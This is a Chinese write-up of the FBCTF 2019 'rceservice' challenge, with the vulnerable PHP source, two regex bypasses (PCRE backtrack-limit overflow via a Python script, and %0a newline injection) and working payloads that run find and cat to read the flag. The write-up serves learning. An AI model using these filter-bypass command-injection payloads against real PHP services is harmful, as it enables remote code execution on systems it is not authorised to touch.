[FBCTF 2019]rceservice 详细题解

知识点:

json字符串
PHP正则表达式元字符
PCRE回溯机制绕过正则表达式
%0a 换行符绕过正则表达式(详细讲解)

提示 Enter command as JSON
题目还有一个附件,打开是index.php文件源码

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}
?>

代码中$cmd = json_decode($json, true)['cmd'];
json_decode(): 这个函数用于将JSON格式的字符串解码为PHP变量,参数 $json 是要被解码的 JSON 字符串,格式类似 {"cmd": "ls"}

json_decode第二个参数被设置为true,意味着json_decode函数将返回一个关联数组(array)而不是一个对象(object),把json_decode函数返回的关联数组中的'cmd'键对应的值赋值给变量$command

这里正则表达式明显过滤的非常严格,过滤了非常多东西,使用的格式是  ^.*(捕获组).*$

. 表示匹配任意单个字符(除了换行符) 

* 是量词,表示前面的元素可以出现0次或多次。

.* 表示匹配任意数量的任意字符(默认不会匹配换行符,需要修饰符才会匹配)

加上^ 变成 ^.*  表示从字符串的开始位置匹配任意数量的任意字符 

后面的  .*$  表示从当前位置匹配任意数量的任意字符,直到行尾

括号表示捕获组,可以在匹配过程中捕获一部分匹配的内容,并且可以在后续处理中引用这些被捕获的部分

注意到正则匹配中  [\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+  
\x00-\x1F  表示从 ASCII 码 0 到 31 的字符(控制字符),A-Z0-9 就是大写字母和数字,这里没有用修饰符i 没有过滤小写字母,后面的+表示可以匹配1次或多次

正则表达式中的构造会在下面第二种解法中详细讲解

既然没有过滤小写字母,那么传入{"cmd": "ls"}    回显 index.php


但是传入{"cmd": "ls /"}   就会回显 Hacking attempt detected   因为/ 被禁止了

到这里基本上就没有机会了,正常的传参是行不通的,过滤的太严格,只能想办法绕过正则

解法一: PCRE回溯机制绕过正则表达式

具体的原理和思路可以参考大佬的文章,这里不多赘述,文章讲的很好,清晰明了

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

简而言之就是PCRE回溯机制有一个回溯限制次数——大约100 万次,当回溯超出这个次数,还没吐完的字符串就可以逃逸绕过匹配
通过发送超长字符串的方式,使正则执行失败,让传入的参数逃逸,从而正常执行命令绕过限制


那么就传入一个json格式字符串,里面的键名为cmd,键值为执行的命令  
然后在payload后加上100万个字符即可,等匹配超过这个次数时语句自然就可以逃逸掉

不过一般这种逃逸需要post传参,因为get传参是有长度限制的,100万的参数长度明显有点太过于庞大了

前面传入命令的时候可以看到参数cmd在url中回显了,所以大家会认为是GET形式

但是如果大家抓包测试post传参的话会得到一样的效果,例如我post传参cmd={"cmd":"ls"}  依然回显了index.php

估计源码应该是用了$_REQUEST 来接收参数,当然只是我个人的猜测

下面给出字符串逃逸脚本:

import requests
payload = '{"cmd":"ls /", "abc":"'+'a'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28794/",data = {"cmd":payload})
print(res.text)

payload里面除了前面cmd的命令不要改动之外,其他的参数如 abc 可以随意,后面的a也随意,长度满足即可

没有发现flag文件,查看一下环境变量有没有flag     把 ls / 改为 env  执行system('env')

发现没有回显,那么flag文件应该就在这些根目录某个路径下 使用find命令查找一下

find / -name flag 发现依然没有回显,难道flag文件名中没有flag 测试一下index.php文件能不能find

发现index.php 也无法find  那么应该是没有成功执行find 命令

putenv('PATH=/home/rceservice/jail');

这行 PHP 代码的作用是设置环境变量 PATH 的值为 /home/rceservice/jail
意味着我们无法直接去调用find  cat等命令,因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令需要使用其存放的绝对路径去调用

可以用where find whereis find 或者 which find 来查看find命令的路径

这里传参给cmd是不会回显find命令的路径的,可以自己linux系统中输出查看

find命令 在/bin/ 和 /usr/bin/  目录下都存在  这里只有/usr/bin/find 路径可以使用

改一下代码

payload = '{"cmd":"/usr/bin/find / -name flag", "abc":"'+'a'*1000000+'"}'

成功得到/home/rceservice/flag


   
cat命令和find命令一样在 /bin/ 和 /usr/bin/  目录下都存在  不知道为什么这里只能/bin/cat 才能使用而find命令在/usr/bin/find 才能使用,如果有大佬知道的话可以评论一下

payload = '{"cmd":"/bin/cat /home/rceservice/flag", "abc":"'+'a'*1000000+'"}'

成功得到flag

 

解法二: %0a 绕过

这里重点讲一下%0a 构造的位置问题

正则表达式是 ^...$ 格式  如果没有修饰符m 那么^只会匹配第一行的内容,可以利用%0a换行符绕过
而且这里还用了.* 贪婪匹配  也没有修饰符s  所以 .* 也不会匹配换行符%0a
那么只需传入换行符%0a,那么就可以绕过 .* 从而绕过正则匹配
但是这里正则匹配表达式中 \x00-\x1F 过滤了ascii码 0-31 的控制字符,包含了换行符,因此%0a会被匹配
也就是说如果传入的命令是

{%0a"cmd":"/bin/cat /home/rceservice/flag"} 

此时 .* 匹配了最开始的左括号{  因为遇到%0a就不匹配了,然后正则表达式括号中的\x00-\x1F 匹配了换行符%0a  而后面的+表示可以匹配1次或多次,因此在%0a后面再多添加几个%0a也没用   最后的.* 匹配了"cmd":"/bin/cat /home/rceservice/flag"}  从而匹配成功,如下图所示

这是我测试正则匹配的简单代码,数字 1 2 3 代表引用代码中正则表达式的三个括号捕获组的结果

如果在字符串最末尾的 } 之前加上一个%0a    变成

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

此时.* 匹配 {    而\x00-\x1F 匹配了第一个%0a  但是最后的 .* 不能匹配换行符,因此也匹配不到换行后的 }    所以不能匹配到完整字符串,返回值为空,完成正则绕过

构造  即可得到flag

?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a} 

在单行模式下 $元字符 似乎会忽略在句尾的 %0a 

如果%0a 添加在字符串最后的话依然会被匹配,至少需要两个%0a才可以,不太确定原理,大佬们知道的话可以指点一下


其他构造格式:  

或者如果在字符串的 { 前面加上%0a 变成    %0a{"cmd":"/bin/cat /home/rceservice/flag"}
此时第一个.* 匹配的不是空null, 是空字符串"",因为*可以匹配0次或多次, \x00-\x1F 匹配了%0a   最后的.*匹配到字符串结束   从而也会匹配成功

那么可以在后面多加一个%0a来绕过,当然不能直接加在第一个%0a后面,这样会被+匹配多次,只要跟第一个%0a隔开就可以,这样第二个换行符不会被最后的.*匹配,无法遍历完整字符串,绕过匹配
下面这些也是正确的格式,例如:         

?cmd=%0a{%0a"cmd":"/bin/cat /home/rceservice/flag"}
?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"%0a}

不过还是不能把%0a加在最后,如果要想在最后加%0a,至少要加2个%0a  
例如

?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"}%0a%0a

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/10287.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【竞技宝】DOTA2-梦幻联赛S24:圣剑美杜莎强拆基地终结比赛

北京时间11月9日,DOTA2的梦幻联赛S24继续进行。本日迎来第二阶段的B组二、三名加赛PARI对阵spirit。本场比赛双方前两局战至1-1平,决胜局同样是难分胜负打到了六十分钟之后,关键时刻spirit主动出击,圣剑美杜莎强拆基地成功一波结束比赛,最终spirit让一追二击败PARI。以下是本场…

计算机的错误计算(一百四十九)

摘要 探讨 MATLAB 中 的计算精度问题。当 为含有小数的大数或整数附近数时&#xff0c;输出会有错误数字。 例1. 已知 计算 直接贴图吧&#xff1a; 另外&#xff0c;16位的正确值分别为 0.6374239897486897e0、-0.6613118653236519e0、0.3769911184298822e-5 与…

力扣 多数元素

用了排序跟抵消。 题目 由题可知&#xff0c;多数元素是指在数组中出现次数大于一半的元素&#xff0c;且总是存在多数元素。不难想到&#xff0c;把数组排序后&#xff0c;这个数组的中间数一定是这个要找的元素。 用了sort排序&#xff0c;时间复杂度O&#xff08;nlogn&am…

Oracle OCP认证考试考点详解082系列11

题记&#xff1a; 本系列主要讲解Oracle OCP认证考试考点&#xff08;题目&#xff09;&#xff0c;适用于19C/21C,跟着学OCP考试必过。 51. 第51题&#xff1a; 题目 51.View the Exhibit and examine the description of the tables You execute this SQL statement Whi…

前端小知识:如何理解这个新特性 ?= 运算符

在日常的JavaScript开发中&#xff0c;我们经常会处理一些异步任务&#xff0c;避免代码出错&#xff0c;这时候常见的工具就是 try-catch 块和 async-await 语法。这些工具虽好&#xff0c;但当我们代码量一多&#xff0c;整个代码结构可能会显得很臃肿&#xff0c;阅读起来也…

Redhat切换其他源

1. 效果图 2. 安装 RPM 包的命令 rpm -ivh --nodeps --force epel-release-latest-8.noarch.rpm rpm -ivh --nodeps --force yum-4.7.0-4.el8.noarch.rpm rpm -ivh --nodeps --force yum-utils-4.0.21-3.el8.noarch.rpm 3. 修改默认源 vi /etc/yum.repos.d/redhat.repo[BaseO…

如何使用OpenCV和Python进行相机校准

《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…

「Mac畅玩鸿蒙与硬件32」UI互动应用篇9 - 番茄钟倒计时应用

本篇将带你实现一个番茄钟倒计时应用&#xff0c;用户可以设置专注时间和休息时间的时长&#xff0c;点击“开始专注”或“开始休息”按钮启动计时&#xff0c;应用会在倒计时结束时进行提醒。番茄钟应用对于管理时间、提升工作效率非常有帮助&#xff0c;并且还会加入猫咪图片…

Qt/C++ 海康SDK开发示例Demo

*** 工业相机在机器视觉中起到关键作用&#xff0c;本文基于海康 SDK 详细解读了设备连接与控制的各个步骤。内容涵盖设备枚举、句柄创建、图像采集回调以及设备异常处理&#xff0c;帮助开发者快速理解如何通过代码控制相机&#xff0c;实时采集并处理图像数据。*** 1. 搜索并…

探索 Python 的新边疆:sh 库的革命性功能

文章目录 **探索 Python 的新边疆&#xff1a;sh 库的革命性功能**第一部分&#xff1a;背景介绍第二部分&#xff1a;sh 库是什么&#xff1f;第三部分&#xff1a;如何安装 sh 库&#xff1f;第四部分&#xff1a;简单库函数使用方法1. 执行 ls 命令2. 使用 grep 搜索文件内容…

深度学习——前向传播与反向传播、神经网络(前馈神经网络与反馈神经网络)、常见算法概要汇总

文章目录 &#x1f33a;深度学习面试八股汇总&#x1f33a;前向传播与反向传播前向传播&#xff08;Forward Propagation&#xff09;反向传播&#xff08;Back Propagation&#xff09;总结 神经网络简介结构类型前馈神经网络&#xff08;Feedforward Neural Network, FFNN&am…

MySQL 中的索引下推功能

看到索引&#xff0c;应该大家都可以联想到这个是和查询效率有关系的&#xff0c;既然有这个功能&#xff0c;那么那句古话说的好啊&#xff1a;存在即合理。那么这个就是说有了这个功能&#xff0c;可以提升查询效率。 什么是索引下推 我们先有一个大概的理解&#xff1a;在…

#渗透测试#SRC漏洞挖掘# 操作系统-Linux系统之基本命令、资源耗尽脚本编写

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…

软考中级 软件设计师 上午考试内容笔记(个人向)Part.1

软考上午考试内容 1. 计算机系统 计算机硬件通过高/低电平来模拟1/0信息&#xff1b;【p进制】&#xff1a; K n K n − 1 . . . K 2 K 1 K 0 K − 1 K − 2... K − m K n r n . . . K 1 r 1 K 0 r 0 K − 1 r − 1 . . . K − m r − m K_nK_{n-1}...K_2K_1K_0K…

IDA*算法 Power Calculus————poj 3134

目录 闲聊 前言 DFS算法的无效搜索 BFS算法的空间浪费 IDDFS A*算法 IDA* Power Calculus 问题描述 输入 输出 问题分析 代码 闲聊 前几周在忙着数学竞赛&#xff0c;所以就没时间更新&#xff0c;高等数学&#xff0c;一生之敌&#xff0c;真不知道报名的时候我是怎么想…

基于python深度学习技术矩阵分解的推荐系统,通过学习隐含特征,实现推荐

实现了一个基于矩阵分解的推荐系统&#xff0c;用于预测用户对电影的评分。具体来说&#xff0c;该程序通过TensorFlow构建和训练一个模型&#xff0c;来学习用户和电影之间的隐含特征&#xff0c;并根据这些特征预测评分。以下是代码的主要功能和步骤的详细描述&#xff1a; …

C++高级编程(8)

八、标准IO库 1.输入输出流类 1)非格式化输入输出 2)put #include <iostream> #include <string> ​ using namespace std; int main() {string str "123456789";for (int i str.length() - 1; i > 0; i--) {cout.put(str[i]); //从最后一个字符开…

EMC Plus:大电流注入传导抗扰度

大电流注入 &#xff08;BCI&#xff09; 是一种传导射频抗扰度测试&#xff0c;利用电流注入探头将调制信号引入电缆。其目的是复制设备运行环境中预期的电磁干扰 &#xff08;EMI&#xff09; 条件。在这里&#xff0c;我将为您提供一个使用 Ansys EMC Plus 进行大电流注入传…

《Java核心技术 卷I》JFrame组件中显示信息

组件中显示信息 JFrame结构复杂&#xff0c;由四层窗格&#xff0c;其中根窗格、层级窗格和玻璃窗格人们并不太关心&#xff0c;他们要用来组织菜单栏和内容窗格以及实现观感&#xff0c;Swing程序员最关心的是内容窗格(content pane)&#xff0c;添加到窗体的所有组件都会自动…

0x00基础算法 -- 0x01 位运算

资料来源&#xff1a;算法竞赛进阶指南活动 - AcWing 1、进制表示 二进制表示&#xff1a;m位二进制中&#xff0c;通常称最低位为第0位&#xff0c;从右到左以此类推&#xff0c;最高位为第m-1位。 常用十六进制表示的数字&#xff1a; 32位补码int&#xff08;十进制&#xf…